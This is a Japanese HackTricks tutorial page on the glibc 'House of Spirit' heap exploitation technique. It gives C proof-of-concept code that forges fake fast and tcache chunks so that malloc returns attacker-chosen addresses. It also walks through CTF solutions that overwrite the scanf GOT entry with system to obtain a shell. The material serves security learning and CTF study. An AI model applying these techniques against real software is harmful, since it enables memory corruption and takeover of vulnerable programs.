House of Spirit
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
コード
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);
// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(“Victim: %p\n”, victim);
return 0; }
</details>
### 目標
- tcache / fast bin にアドレスを追加し、後でそれを allocate できるようにする
### 要件
- この攻撃では、攻撃者が偽の fast chunk を数個作成し、それらの size 値を正しく示せること、そして最初の偽チャンクを free して bin に入れられることが必要です。
- **tcache (glibc ≥2.26)** では攻撃はさらに簡単になります:偽チャンクは1つで足ります(tcache パスでは next-chunk size チェックが行われません)。ただし偽チャンクは 0x10-aligned で、その size フィールドが有効な tcache bin(x64 では 0x20-0x410)に入っている必要があります。
### 攻撃
- セキュリティチェックを回避する偽チャンクを作成する:基本的に2つの偽チャンクが必要で、正しい位置に正しい size 値を配置します。
- 何らかの方法で最初の偽チャンクを free して fast または tcache bin に入れ、それを allocate して当該アドレスを上書きします。
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) のコードはこの攻撃の理解に非常に役立ちます。** 以下のコード中のスキーマがそれをよく要約しています:
<details>
<summary>Fake chunk layout</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Tip
いくつかの整合性チェックを回避するために、2つ目のチャンクを作成する必要があることに注意してください。
Tcache house of spirit (glibc ≥2.26)
- 現代の glibc では、tcache fast-path は次のチャンクのサイズ/
prev_inuseを検証する前にtcache_putを呼ぶため、現在の偽チャンクだけが正しい見た目であればよい。 - 要件:
- 偽チャンクは16バイト境界に揃えられている必要があり、
IS_MMAPPED/NON_MAIN_ARENAとマークされていてはいけない。 sizeは tcache bin に属し、prev_inuse ビットがセットされている(size | 1)。- そのビンの tcache が満杯であってはいけない(デフォルトでは最大 7 エントリ)。
- 最小 PoC(スタックチャンク):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2]; // points inside fake chunk
free(p); // goes straight into tcache
void *q = malloc(0x30); // returns stack address fake+2
- Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as
fd = ptr ^ (heap_base >> 12)duringfree, so the attacker does not need to know the key when using a single fake chunk. - このバリアントは glibc hooks が削除されている場合 (≥2.34) に便利で、追加の破損を作らずに高速な arbitrary write を行うか、ターゲットバッファ(例: stack/BSS)を tcache chunk と重ねたいときに有用です。
例
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: オーバーフローを利用してポインタを GOT アドレスを指すように変更し、CTF の read アクションを通じて libc アドレスを leak することが可能です。
-
House of Spirit: 「rifles」の数を数えるカウンタを悪用して最初の fake chunk の fake size を生成し、次に「message」を悪用してチャンクの2番目のサイズを偽装し、最後に overflow を悪用して free される予定のポインタを変更して最初の fake chunk を free させます。すると、それを allocate でき、その内部には「message」が格納されている先のアドレスが入ります。これを GOT テーブル内の
scanfエントリを指すようにして、scanfを system のアドレスで上書きできます。
次にscanfが呼ばれたときに"/bin/sh"を入力すればシェルが得られます。 -
Glibc leak: 未初期化のスタックバッファ。
-
House of Spirit: ヒープポインタのグローバル配列の最初のインデックスを変更できます。1 バイトの改変で、valid chunk 内の fake chunk に対して
freeを行い、再度 allocate した後に overlapping chunks の状況を作れます。それにより、単純な Tcache poisoning attack で arbitrary write primitive を得られます。
参考
- https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


